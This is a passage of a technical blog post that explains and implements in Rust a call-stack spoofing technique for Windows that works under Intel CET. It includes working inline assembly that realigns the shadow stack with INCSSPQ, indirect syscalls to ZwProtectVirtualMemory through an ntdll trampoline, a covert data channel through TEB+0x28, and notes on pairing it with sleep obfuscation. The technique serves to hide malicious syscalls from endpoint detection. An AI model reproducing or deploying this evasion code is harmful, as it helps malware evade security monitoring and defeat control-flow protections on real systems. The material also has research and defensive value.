<span class="k">unsafe</span> <span class="p">{</span> <span class="nf">write_volatile</span><span class="p">(</span><span class="n">teb_addr</span><span class="nf">.add</span><span class="p">(</span><span class="mi">0x28</span><span class="p">)</span><span class="py">.cast</span><span class="p">::</span><span class="o">&lt;</span><span class="nb">u64</span><span class="o">&gt;</span><span class="p">(),</span> <span class="n">context</span> <span class="k">as</span> <span class="nb">u64</span><span class="p">)</span> <span class="p">};</span>

<span class="nf">user_mode_continue</span><span class="p">(</span><span class="n">context_record</span><span class="p">,</span> <span class="n">new_rsp</span><span class="p">);</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Write the <code class="language-text highlighter-rouge">EmbeddedContext</code> pointer to <code class="language-text highlighter-rouge">TEB+0x28</code>, then switch context.</p>

<h3 id="54-phase-2-the-enum-callback-syscall-execution">5.4 Phase 2: The Enum Callback (Syscall Execution)</h3>

<p><code class="language-text highlighter-rouge">EnumSystemLocalesEx</code> calls our callback. The stack now legitimately includes
<code class="language-text highlighter-rouge">kernelbase!EnumSystemLocalesEx</code> and <code class="language-text highlighter-rouge">kernelbase!Internal_EnumSystemLocales</code>.</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre><span class="nd">#[inline(never)]</span>
<span class="k">extern</span> <span class="s">"system"</span> <span class="k">fn</span> <span class="nf">manual_stack_unwind_enum</span><span class="p">()</span> <span class="k">-&gt;</span> <span class="nb">i32</span> <span class="p">{</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Two critical attributes:</p>

<ul>
  <li><code class="language-text highlighter-rouge">#[inline(never)]</code>: the function <strong>must</strong> have its own stack frame and a <code class="language-text highlighter-rouge">RUNTIME_FUNCTION</code> entry in <code class="language-text highlighter-rouge">.pdata</code>. Otherwise <code class="language-text highlighter-rouge">RtlVirtualUnwind</code> can’t unwind through it. I learned this the hard way.</li>
  <li><code class="language-text highlighter-rouge">extern "system"</code>: matches the Windows callback ABI. The actual <code class="language-text highlighter-rouge">LOCALE_ENUMPROCEX</code> signature takes three parameters (locale string, flags, lparam), but since we ignore them all (we read our state from TEB instead), the zero-parameter declaration works fine. On x64 the caller cleans up, so the mismatch is harmless.</li>
</ul>

<p>The callback retrieves the <code class="language-text highlighter-rouge">EmbeddedContext</code> from <code class="language-text highlighter-rouge">TEB+0x28</code>, validates via <code class="language-text highlighter-rouge">magic</code>, restores the backed-up stack slots, increments <code class="language-text highlighter-rouge">invoke_count</code>, then:</p>

<p><strong>First invocation (<code class="language-text highlighter-rouge">invoke_count</code> == 1): set up the <code class="language-text highlighter-rouge">syscall</code></strong></p>

<p>Another <code class="language-text highlighter-rouge">RtlCaptureContext</code> + <code class="language-text highlighter-rouge">RtlVirtualUnwind</code> cycle, this time unwinding from inside the callback. The parent RIP now points into <code class="language-text highlighter-rouge">kernelbase!Internal_EnumSystemLocales</code>.</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
</pre></td><td class="rouge-code"><pre><span class="k">unsafe</span> <span class="p">{</span> <span class="nf">write_volatile</span><span class="p">(</span><span class="o">&amp;</span><span class="n">raw</span> <span class="k">mut</span> <span class="p">(</span><span class="o">*</span><span class="n">context_record</span><span class="p">)</span><span class="py">.Rax</span><span class="p">,</span> <span class="nn">u64</span><span class="p">::</span><span class="nf">from</span><span class="p">(</span><span class="n">args</span><span class="py">.ssn</span><span class="p">))</span> <span class="p">};</span>
<span class="k">unsafe</span> <span class="p">{</span> <span class="nf">write_volatile</span><span class="p">(</span><span class="o">&amp;</span><span class="n">raw</span> <span class="k">mut</span> <span class="p">(</span><span class="o">*</span><span class="n">context_record</span><span class="p">)</span><span class="py">.Rip</span><span class="p">,</span> <span class="n">args</span><span class="py">.trampoline</span>    <span class="p">)</span> <span class="p">};</span>
<span class="k">unsafe</span> <span class="p">{</span> <span class="nf">write_volatile</span><span class="p">(</span><span class="o">&amp;</span><span class="n">raw</span> <span class="k">mut</span> <span class="p">(</span><span class="o">*</span><span class="n">context_record</span><span class="p">)</span><span class="py">.Rcx</span><span class="p">,</span> <span class="n">args</span><span class="py">.arg1</span>          <span class="p">)</span> <span class="p">};</span>
<span class="k">unsafe</span> <span class="p">{</span> <span class="nf">write_volatile</span><span class="p">(</span><span class="o">&amp;</span><span class="n">raw</span> <span class="k">mut</span> <span class="p">(</span><span class="o">*</span><span class="n">context_record</span><span class="p">)</span><span class="py">.R10</span><span class="p">,</span> <span class="n">args</span><span class="py">.arg1</span>          <span class="p">)</span> <span class="p">};</span>
<span class="k">unsafe</span> <span class="p">{</span> <span class="nf">write_volatile</span><span class="p">(</span><span class="o">&amp;</span><span class="n">raw</span> <span class="k">mut</span> <span class="p">(</span><span class="o">*</span><span class="n">context_record</span><span class="p">)</span><span class="py">.Rdx</span><span class="p">,</span> <span class="n">args</span><span class="py">.arg2</span>          <span class="p">)</span> <span class="p">};</span>
<span class="k">unsafe</span> <span class="p">{</span> <span class="nf">write_volatile</span><span class="p">(</span><span class="o">&amp;</span><span class="n">raw</span> <span class="k">mut</span> <span class="p">(</span><span class="o">*</span><span class="n">context_record</span><span class="p">)</span><span class="py">.R8</span><span class="p">,</span>  <span class="n">args</span><span class="py">.arg3</span>          <span class="p">)</span> <span class="p">};</span>
<span class="k">unsafe</span> <span class="p">{</span> <span class="nf">write_volatile</span><span class="p">(</span><span class="o">&amp;</span><span class="n">raw</span> <span class="k">mut</span> <span class="p">(</span><span class="o">*</span><span class="n">context_record</span><span class="p">)</span><span class="py">.R9</span><span class="p">,</span>  <span class="n">args</span><span class="py">.arg4</span>          <span class="p">)</span> <span class="p">};</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p><code class="language-text highlighter-rouge">RAX</code> = <code class="language-text highlighter-rouge">SSN</code>, <code class="language-text highlighter-rouge">RIP</code> = trampoline, <code class="language-text highlighter-rouge">RCX</code>/<code class="language-text highlighter-rouge">R10</code> = arg1 (duplicated because the kernel reads from <code class="language-text highlighter-rouge">R10</code>), <code class="language-text highlighter-rouge">RDX</code>/<code class="language-text highlighter-rouge">R8</code>/<code class="language-text highlighter-rouge">R9</code> = args 2-4. Extra arguments (5+) go on the stack with a careful save-and-restore pattern to preserve original values for Phase 3.</p>

<p>The <code class="language-text highlighter-rouge">real_return_address</code> from the unwind (pointing back into <code class="language-text highlighter-rouge">Internal_EnumSystemLocales</code>) is placed at <code class="language-text highlighter-rouge">[new_rsp]</code>. After the <code class="language-text highlighter-rouge">syscall</code>, the trampoline’s <code class="language-text highlighter-rouge">ret</code> pops it and returns into the enum function’s iteration loop, which thinks the callback returned normally.</p>

<p>At this point the <code class="language-text highlighter-rouge">CONTEXT</code> record contains: <code class="language-text highlighter-rouge">RAX</code> = <code class="language-text highlighter-rouge">0x50</code> (SSN for <code class="language-text highlighter-rouge">ZwProtectVirtualMemory</code> on Win10/11), <code class="language-text highlighter-rouge">RIP</code> = the <code class="language-text highlighter-rouge">syscall; ret</code> trampoline address inside <code class="language-text highlighter-rouge">ntdll</code>, and <code class="language-text highlighter-rouge">[new_rsp]</code> = the return address back into <code class="language-text highlighter-rouge">Internal_EnumSystemLocales</code>. Everything is set for the context switch.</p>

<h3 id="55-phase-3-cleanup">5.5 Phase 3: Cleanup</h3>

<p>After the <code class="language-text highlighter-rouge">syscall</code>, <code class="language-text highlighter-rouge">ret</code> returns to <code class="language-text highlighter-rouge">Internal_EnumSystemLocales</code>. What happens next depends on the <code class="language-text highlighter-rouge">syscall</code>’s return value (see <a href="#72-why-these-functions-work">7.2</a> for the full explanation).</p>

<p>In the <strong>success case</strong> (<code class="language-text highlighter-rouge">STATUS_SUCCESS</code> = 0), the enum function interprets the return value as <code class="language-text highlighter-rouge">FALSE</code> (“stop enumerating”) and quits. The callback is never invoked again. Phase 3 doesn’t run. This is the common path.</p>

<p>In the <strong>failure case</strong> (non-zero <code class="language-text highlighter-rouge">NTSTATUS</code>), the enum function interprets it as <code class="language-text highlighter-rouge">TRUE</code> (“keep going”) and calls the callback again. Now, there’s a subtlety: Phase 2 restored <code class="language-text highlighter-rouge">TEB.ArbitraryUserPointer</code> to its original value <em>before</em> the context switch (we were done with the covert data channel). So when Phase 3 fires, <code class="language-text highlighter-rouge">TEB+0x28</code> no longer points to our <code class="language-text highlighter-rouge">EmbeddedContext</code>.</p>

<p>What happens? The callback reads <code class="language-text highlighter-rouge">TEB+0x28</code>, gets either <code class="language-text highlighter-rouge">NULL</code> (common) or the original value (rare). If <code class="language-text highlighter-rouge">NULL</code>, it bails immediately with <code class="language-text highlighter-rouge">return 0</code>. If non-null, the <code class="language-text highlighter-rouge">magic</code> validation fails and it returns <code class="language-text highlighter-rouge">0</code> anyway. Either way: the enumeration stops.</p>

<p>The stack slots overwritten with syscall arguments 5+ in the enum function’s frame are <strong>not</strong> restored in this path. For the PoC (with 5 arguments), the only overwritten slot is in home space territory, which is scratch space the callee can trash freely. No harm done. For syscalls with more arguments, a more robust implementation would need to keep the TEB pointer alive through the syscall, or accept that the failure path may leave the enum function’s frame slightly dirty before it unwinds.</p>

<h3 id="56-user_mode_continue-cet-compliant-context-switch">5.6 <code class="language-text highlighter-rouge">user_mode_continue</code>: CET-Compliant Context Switch</h3>

<p>This is the heart of the whole thing. A full CPU state restoration + CET reconciliation in inline assembly. It’s <code class="language-text highlighter-rouge">#[inline(never)]</code>, a real function with its own frame and <code class="language-text highlighter-rouge">.pdata</code> entry, and this is not incidental: it’s what makes the CET reconciliation necessary and active (more on this in <a href="#6-cet-compliance-the-core-contribution">Section 6</a>).</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
</pre></td><td class="rouge-code"><pre><span class="nd">#[inline(never)]</span>
<span class="k">fn</span> <span class="nf">user_mode_continue</span><span class="p">(</span><span class="n">context_record</span><span class="p">:</span> <span class="o">*</span><span class="k">mut</span> <span class="n">CONTEXT</span><span class="p">,</span> <span class="n">new_rsp</span><span class="p">:</span> <span class="nb">u64</span><span class="p">)</span> <span class="k">-&gt;</span> <span class="o">!</span> <span class="p">{</span>
    <span class="k">unsafe</span> <span class="p">{</span>
        <span class="nd">asm!</span><span class="p">(</span>
            <span class="c1">// --- CET shadow-stack reconciliation ---</span>
            <span class="s">"xor rax, rax"</span><span class="p">,</span>
            <span class="s">".byte 0xF3, 0x48, 0x0F, 0x1E, 0xC8"</span><span class="p">,</span>      <span class="c1">// RDSSPQ rax - read SSP into RAX (0 if CET off)</span>
            <span class="s">"test rax, rax"</span><span class="p">,</span>
            <span class="s">"jz 3f"</span><span class="p">,</span>                                   <span class="c1">// CET off -&gt; skip the scan</span>

            <span class="s">"mov r9, 16"</span><span class="p">,</span>                              <span class="c1">// max 16 entries to scan</span>
            <span class="s">"2:"</span><span class="p">,</span>
            <span class="s">"mov r11, [rax]"</span><span class="p">,</span>                          <span class="c1">// shadow-stack entry at current SSP</span>
            <span class="s">"cmp r11, [r14]"</span><span class="p">,</span>                          <span class="c1">// compare to expected return address at [new_rsp]</span>
            <span class="s">"je 3f"</span><span class="p">,</span>                                   <span class="c1">// matched -&gt; SSP is aligned, done</span>

            <span class="s">"mov ecx, 1"</span><span class="p">,</span>
            <span class="s">".byte 0xF3, 0x48, 0x0F, 0xAE, 0xE9"</span><span class="p">,</span>      <span class="c1">// INCSSPQ rcx - advance SSP by 1*8 = one 64-bit entry</span>
            <span class="s">"add rax, 8"</span><span class="p">,</span>                              <span class="c1">// track our mirror of SSP</span>
            <span class="s">"dec r9"</span><span class="p">,</span>
            <span class="s">"jnz 2b"</span><span class="p">,</span>

            <span class="c1">// --- Full CPU state restoration ---</span>
            <span class="s">"3:"</span><span class="p">,</span>
            <span class="s">"mov rsp, r14"</span><span class="p">,</span>                            <span class="c1">// RSP &lt;- new_rsp</span>

            <span class="s">"mov ebx, dword ptr [r15 + 0x44]"</span><span class="p">,</span>         <span class="c1">// CONTEXT.EFlags</span>
            <span class="s">"push rbx"</span><span class="p">,</span>
            <span class="s">"popfq"</span><span class="p">,</span>

            <span class="s">"mov rax, [r15 + 0x78]"</span><span class="p">,</span>                   <span class="c1">// CONTEXT.Rax</span>
            <span class="s">"mov rcx, [r15 + 0x80]"</span><span class="p">,</span>                   <span class="c1">// CONTEXT.Rcx</span>
            <span class="s">"mov rdx, [r15 + 0x88]"</span><span class="p">,</span>                   <span class="c1">// CONTEXT.Rdx</span>
            <span class="s">"mov rbx, [r15 + 0x90]"</span><span class="p">,</span>                   <span class="c1">// CONTEXT.Rbx</span>
            <span class="s">"mov rbp, [r15 + 0xA0]"</span><span class="p">,</span>                   <span class="c1">// CONTEXT.Rbp</span>
            <span class="s">"mov rsi, [r15 + 0xA8]"</span><span class="p">,</span>                   <span class="c1">// CONTEXT.Rsi</span>
            <span class="s">"mov rdi, [r15 + 0xB0]"</span><span class="p">,</span>                   <span class="c1">// CONTEXT.Rdi</span>
            <span class="s">"mov r8,  [r15 + 0xB8]"</span><span class="p">,</span>                   <span class="c1">// CONTEXT.R8</span>
            <span class="s">"mov r9,  [r15 + 0xC0]"</span><span class="p">,</span>                   <span class="c1">// CONTEXT.R9</span>
            <span class="s">"mov r10, [r15 + 0xC8]"</span><span class="p">,</span>                   <span class="c1">// CONTEXT.R10</span>
            <span class="s">"mov r11, [r15 + 0xF8]"</span><span class="p">,</span>                   <span class="c1">// CONTEXT.Rip -&gt; indirect jump target</span>
            <span class="s">"mov r12, [r15 + 0xD8]"</span><span class="p">,</span>                   <span class="c1">// CONTEXT.R12</span>
            <span class="s">"mov r13, [r15 + 0xE0]"</span><span class="p">,</span>                   <span class="c1">// CONTEXT.R13</span>

            <span class="s">"ldmxcsr dword ptr [r15 + 0x34]"</span><span class="p">,</span>          <span class="c1">// CONTEXT.MxCsr</span>
            <span class="s">"movdqa xmm6,  [r15 + 0x200]"</span><span class="p">,</span>             <span class="c1">// CONTEXT.Xmm6..Xmm15 (non-volatile per Win64 ABI)</span>
            <span class="s">"movdqa xmm7,  [r15 + 0x210]"</span><span class="p">,</span>
            <span class="s">"movdqa xmm8,  [r15 + 0x220]"</span><span class="p">,</span>
            <span class="s">"movdqa xmm9,  [r15 + 0x230]"</span><span class="p">,</span>
            <span class="s">"movdqa xmm10, [r15 + 0x240]"</span><span class="p">,</span>
            <span class="s">"movdqa xmm11, [r15 + 0x250]"</span><span class="p">,</span>
            <span class="s">"movdqa xmm12, [r15 + 0x260]"</span><span class="p">,</span>
            <span class="s">"movdqa xmm13, [r15 + 0x270]"</span><span class="p">,</span>
            <span class="s">"movdqa xmm14, [r15 + 0x280]"</span><span class="p">,</span>
            <span class="s">"movdqa xmm15, [r15 + 0x290]"</span><span class="p">,</span>

            <span class="s">"mov r14, [r15 + 0xE8]"</span><span class="p">,</span>                   <span class="c1">// CONTEXT.R14</span>
            <span class="s">"mov r15, [r15 + 0xF0]"</span><span class="p">,</span>                   <span class="c1">// CONTEXT.R15 (must be last - r15 was our base ptr)</span>

            <span class="s">"jmp r11"</span><span class="p">,</span>                                 <span class="c1">// resume at CONTEXT.Rip - NOT ret!</span>

            <span class="k">in</span><span class="p">(</span><span class="s">"r14"</span><span class="p">)</span> <span class="n">new_rsp</span><span class="p">,</span>
            <span class="k">in</span><span class="p">(</span><span class="s">"r15"</span><span class="p">)</span> <span class="n">context_record</span><span class="p">,</span>
            <span class="nf">options</span><span class="p">(</span><span class="n">noreturn</span><span class="p">)</span>
        <span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>The function takes <code class="language-text highlighter-rouge">new_rsp</code> in <code class="language-text highlighter-rouge">R14</code> and the <code class="language-text highlighter-rouge">CONTEXT</code> pointer in <code class="language-text highlighter-rouge">R15</code>. It restores all 16 general-purpose registers, <code class="language-text highlighter-rouge">EFLAGS</code>, <code class="language-text highlighter-rouge">MXCSR</code>, and <code class="language-text highlighter-rouge">XMM6-XMM15</code> (the non-volatile <code class="language-text highlighter-rouge">SIMD</code> registers per the Windows x64 ABI).</p>

<p><code class="language-text highlighter-rouge">R14</code> and <code class="language-text highlighter-rouge">R15</code> are restored last because they’re used as base pointers during the entire restoration sequence. The jump target (<code class="language-text highlighter-rouge">CONTEXT.Rip</code>) is loaded into <code class="language-text highlighter-rouge">R11</code> early and used at the end.</p>

<p><strong>Why <code class="language-text highlighter-rouge">#[inline(never)]</code> and not <code class="language-text highlighter-rouge">#[inline(always)]</code>:</strong></p>

<p>Here’s the thing. If <code class="language-text highlighter-rouge">user_mode_continue</code> were inlined, the compiler would paste the assembly directly into the caller. No <code class="language-text highlighter-rouge">call</code> instruction, no return address pushed to the shadow stack. The CET reconciliation loop would compare <code class="language-text highlighter-rouge">[SSP]</code> with <code class="language-text highlighter-rouge">[new_rsp]</code>, find a match on the first iteration, and <code class="language-text highlighter-rouge">INCSSPQ</code> would never fire. <strong>It would have worked anyway</strong>, but the reconciliation would be dead code.</p>

<p>By making <code class="language-text highlighter-rouge">user_mode_continue</code> a real function (<code class="language-text highlighter-rouge">#[inline(never)]</code>), the caller emits a <code class="language-text highlighter-rouge">call user_mode_continue</code> instruction. That <code class="language-text highlighter-rouge">call</code> pushes a return address onto the shadow stack. Since we <code class="language-text highlighter-rouge">jmp</code> away instead of <code class="language-text highlighter-rouge">ret</code>-ing, that entry becomes stale. Now <code class="language-text highlighter-rouge">INCSSPQ</code> has actual work to do: it must advance the SSP past that stale entry to realign the two stacks.</p>

<p>Both approaches produce correct behavior. The difference is whether CET reconciliation is active (inline never) or passive (inline always). I chose the active path because it makes the CET compliance mechanism a load-bearing part of the architecture rather than a theoretical safety net that never fires. If you’re going to write CET reconciliation code, it should actually reconcile something.</p>

<p><strong>A note of honesty about this choice:</strong></p>

<p>Let me be upfront: in this specific PoC, the <code class="language-text highlighter-rouge">#[inline(never)]</code> is a deliberate forcing move. The minimal call chain (enum callback → <code class="language-text highlighter-rouge">user_mode_continue</code> → <code class="language-text highlighter-rouge">jmp</code>) would work fine with inlining, and the shadow stack would stay naturally aligned without any <code class="language-text highlighter-rouge">INCSSPQ</code>. A reader could look at this and say: <em>you manufactured a problem that doesn’t exist, just to demonstrate the fix.</em></p>

<p>Fair criticism. But the reconciliation loop is not designed for this PoC’s trivial one-function-deep case. It exists for production scenarios where the <strong>diverging call chain</strong> (the sequence of nested non-returning calls from the callback down to the final <code class="language-text highlighter-rouge">jmp</code>) has depth greater than 1. What creates stale shadow stack entries is not every <code class="language-text highlighter-rouge">call</code> instruction, but specifically calls to functions that <em>never return</em> because they transitively reach <code class="language-text highlighter-rouge">user_mode_continue</code>’s <code class="language-text highlighter-rouge">jmp</code>. Each such non-returning call leaves its return address permanently on the shadow stack. Some concrete examples:</p>

<ul>
  <li><strong>Non-returning wrappers and abstraction layers.</strong> In any well-structured codebase, <code class="language-text highlighter-rouge">user_mode_continue</code> wouldn’t be called naked from the callback. You’d have a dispatcher function selecting the syscall strategy, a module-level API that wraps the raw assembly, or both. If the callback calls a <code class="language-text highlighter-rouge">prepare_and_execute()</code> function which in turn calls <code class="language-text highlighter-rouge">user_mode_continue</code>, that’s 2 stale entries (one per non-returning <code class="language-text highlighter-rouge">call</code>). Add a trait implementation or module boundary and you’re at 3. Normal code organization makes this inevitable.</li>
  <li><strong>Dynamic dispatch.</strong> If the context switch sits behind a trait object, a vtable, or a function pointer (e.g., to select between CET and non-CET paths at runtime), the indirect <code class="language-text highlighter-rouge">call</code> adds a frame in the diverging chain. That’s one more stale entry you didn’t write in your source.</li>
  <li><strong>Variable depth depending on code paths.</strong> If different branches of your code reach the <code class="language-text highlighter-rouge">jmp</code> through different numbers of non-returning intermediaries (fast path: 1 wrapper; error/retry path: 2 wrappers), the stale entry count varies at runtime. The loop (scanning up to 16) handles this without requiring you to know the exact count at compile time.</li>
  <li><strong>Integration with sleep obfuscation.</strong> Combined with timer-based obfuscation (ThreadStackSpoofer-style), the context restoration happens from within the sleep API’s callback chain. The exact depth of accumulated non-returning frames depends on where the timer fired and how deep the sleep implementation was at that point. The reconciliation loop handles the variable depth naturally.</li>
</ul>

<p>In any of these scenarios, <code class="language-text highlighter-rouge">INCSSPQ</code> fires for real. Without it, <code class="language-text highlighter-rouge">#CP</code> fault, process dead, no second chance. The PoC uses <code class="language-text highlighter-rouge">#[inline(never)]</code> to put this path under controlled load, so I can verify it works correctly in a debuggable environment before relying on it in contexts where the stale entries appear naturally and diagnosing a CET fault is significantly harder.</p>

<p><strong>About AlignedContext:</strong></p>

<p>You’ll notice the code uses <code class="language-text highlighter-rouge">AlignedContext</code> instead of a bare <code class="language-text highlighter-rouge">CONTEXT</code>:</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre><span class="nd">#[repr(C,</span> <span class="nd">align(</span><span class="mi">16</span><span class="nd">))]</span>
<span class="k">struct</span> <span class="nf">AlignedContext</span><span class="p">(</span><span class="n">CONTEXT</span><span class="p">);</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>This is not cosmetic. The <code class="language-text highlighter-rouge">movdqa</code> instruction (used for XMM register restoration) requires 16-byte aligned memory. If the <code class="language-text highlighter-rouge">CONTEXT</code> structure isn’t aligned to 16 bytes, <code class="language-text highlighter-rouge">movdqa</code> raises a <code class="language-text highlighter-rouge">#GP</code> (General Protection) fault and your process dies. Rust doesn’t guarantee 16-byte alignment for the <code class="language-text highlighter-rouge">CONTEXT</code> struct by default, so the wrapper forces it. If you try to reimplement this without the alignment wrapper, you’ll get seemingly random crashes that are incredibly annoying to debug. Ask me how I know.</p>

<p>The final instruction is <code class="language-text highlighter-rouge">jmp r11</code>, not <code class="language-text highlighter-rouge">ret</code>. This is the key to CET compliance (explained in <a href="#6-cet-compliance-the-core-contribution">Section 6</a>).</p>

<h3 id="57-a-note-on-rax-you-cant-get-it-back">5.7 A Note on <code class="language-text highlighter-rouge">RAX</code>: You Can’t Get It Back</h3>

<p>There’s an inherent limitation of this technique that’s worth highlighting: you cannot recover the <code class="language-text highlighter-rouge">syscall</code>’s return value (<code class="language-text highlighter-rouge">RAX</code>).</p>

<p>Here’s why. After the <code class="language-text highlighter-rouge">syscall</code> executes, <code class="language-text highlighter-rouge">RAX</code> contains the <code class="language-text highlighter-rouge">NTSTATUS</code> result. Then <code class="language-text highlighter-rouge">ret</code> from the trampoline returns to <code class="language-text highlighter-rouge">Internal_EnumSystemLocales</code>. At that point, the enum function’s code runs, overwrites <code class="language-text highlighter-rouge">RAX</code> with its own internal values, and by the time our callback gets invoked again (if it does), the original <code class="language-text highlighter-rouge">NTSTATUS</code> is long gone.</p>

<p>So how do you know if the <code class="language-text highlighter-rouge">syscall</code> succeeded? You use sentinel values. In the PoC, the <code class="language-text highlighter-rouge">old_protect</code> variable is initialized to <code class="language-text highlighter-rouge">0xFFFFFFFF</code> before the call:</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="k">let</span> <span class="k">mut</span> <span class="n">old_protect</span> <span class="o">=</span> <span class="mi">0xFFFF_FFFFu32</span><span class="p">;</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>If <code class="language-text highlighter-rouge">ZwProtectVirtualMemory</code> succeeds, the kernel writes the actual old protection value into <code class="language-text highlighter-rouge">old_protect</code> (through the pointer we passed as <code class="language-text highlighter-rouge">arg5</code>). After the thread pool work completes, we check:</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre><span class="k">if</span> <span class="n">old_protect</span> <span class="o">==</span> <span class="mi">0xFFFF_FFFF</span> <span class="p">{</span>
    <span class="c1">// Still sentinel → syscall didn't write to it → something went wrong</span>
    <span class="k">return</span> <span class="nf">Err</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
<span class="nf">Ok</span><span class="p">(</span><span class="n">old_protect</span><span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>This pattern works for any <code class="language-text highlighter-rouge">syscall</code> that writes to an output buffer. For syscalls that don’t produce output, you need to get creative with other observable side effects. Not ideal, but it’s the tradeoff we make for a fully spoofed call stack.</p>

<hr />

<h2 id="6-cet-compliance-the-core-contribution">6. CET Compliance: The Core Contribution</h2>

<h3 id="61-why-traditional-spoofing-breaks-under-cet">6.1 Why Traditional Spoofing Breaks Under CET</h3>

<p>You write a fake return address to <code class="language-text highlighter-rouge">[RSP]</code>. The CPU executes <code class="language-text highlighter-rouge">ret</code>, pops from both stacks, compares:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre>Normal stack:  [fake_addr]   ← what you wrote
Shadow stack:  [real_addr]   ← what the CPU wrote on CALL

fake_addr != real_addr → #CP fault → crash
</pre></td></tr></tbody></table></code></pre></div></div>

<p>The shadow stack is hardware-protected. You can’t write to it with <code class="language-text highlighter-rouge">mov</code>. It’s over for traditional spoofing.</p>

<h3 id="62-jmp-instead-of-ret">6.2 <code class="language-text highlighter-rouge">JMP</code> Instead of <code class="language-text highlighter-rouge">RET</code></h3>

<p>My context switch uses <code class="language-text highlighter-rouge">jmp r11</code> instead of <code class="language-text highlighter-rouge">ret</code>.</p>

<p><code class="language-text highlighter-rouge">JMP</code> doesn’t touch the shadow stack at all. No pop from either stack, no comparison. CET is simply not involved. At the moment of context switch, the shadow stack check is completely bypassed.</p>

<p>But the shadow stack still has stale entries from the call chain that led to <code class="language-text highlighter-rouge">user_mode_continue</code>. If I don’t deal with them, the first <code class="language-text highlighter-rouge">ret</code> in the jumped-to code will find a mismatched entry. That’s where reconciliation comes in.</p>

<h3 id="63-shadow-stack-pointer-reconciliation">6.3 Shadow Stack Pointer Reconciliation</h3>

<p>Because <code class="language-text highlighter-rouge">user_mode_continue</code> is <code class="language-text highlighter-rouge">#[inline(never)]</code>, the <code class="language-text highlighter-rouge">call</code> that enters it pushes a return address onto the shadow stack. We never <code class="language-text highlighter-rouge">ret</code> from it (we <code class="language-text highlighter-rouge">jmp</code>), so that entry is stale. If we don’t consume it, the first <code class="language-text highlighter-rouge">ret</code> after the jump (in the trampoline or the enum function) will find a mismatch between the normal stack and the shadow stack. <code class="language-text highlighter-rouge">#CP</code> fault. Dead.</p>

<p>The reconciliation loop advances the SSP until it lines up with what’s on the normal stack:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="rouge-code"><pre>1. `RDSSPQ rax`        → Read current SSP into RAX (0 if CET is off)
2. If `RAX` == 0       → CET disabled, skip (technique works on both)
3. Loop (up to 16 iterations):
   a. Read shadow stack entry at `[RAX]`
   b. Compare to expected return address at `[new_rsp]`
   c. Match → done, `SSP` is aligned
   d. No match → `INCSSPQ` 1 to skip past the stale entry (advances by 8 bytes)
   e. `RAX += 8`, repeat
</pre></td></tr></tbody></table></code></pre></div></div>

<p>In practice, the loop fires exactly once per context switch: it skips the one stale entry left by the <code class="language-text highlighter-rouge">call user_mode_continue</code>, then finds the target return address (from <code class="language-text highlighter-rouge">RtlVirtualUnwind</code>) which matches <code class="language-text highlighter-rouge">[new_rsp]</code>. Done.</p>

<p><strong>Phase 1</strong></p>

<p>When <code class="language-text highlighter-rouge">user_mode_continue</code> starts executing, the normal stack (<code class="language-text highlighter-rouge">RSP</code>) has not been shifted yet. The Shadow Stack Pointer (<code class="language-text highlighter-rouge">SSP</code>) naturally points to the return address left by the <code class="language-text highlighter-rouge">call user_mode_continue</code> instruction (in this case, back into <code class="language-text highlighter-rouge">thread_pool_worker_enum</code>). You can see this stale entry at the top of the shadow stack:</p>

<p align="center">
    <img loading="lazy" decoding="async" src="/assets/img/cet-callstack-spoofing-thread-pool-trampoline/phase_1_ssp_before_incsspq.png" alt="Phase 1: Shadow stack before reconciliation" width="759" height="459" />
    <br />
    <em>Phase 1: Shadow stack before reconciliation</em>
</p>

<p>However, our forged context (<code class="language-text highlighter-rouge">new_rsp</code>) expects to return directly to <code class="language-text highlighter-rouge">TppWorkpExecuteCallback</code>. The reconciliation loop compares the SSP entries against our target and executes <code class="language-text highlighter-rouge">INCSSPQ</code>. This advances the SSP by 8 bytes, skipping the stale entry and aligning the shadow stack with our intended return address:</p>

<p align="center">
    <img loading="lazy" decoding="async" src="/assets/img/cet-callstack-spoofing-thread-pool-trampoline/phase_1_ssp_after_incsspq.png" alt="Phase 1: Shadow stack after reconciliation" width="756" height="462" />
    <br />
    <em>Phase 1: Shadow stack after reconciliation</em>
</p>

<p><strong>Phase 2</strong></p>

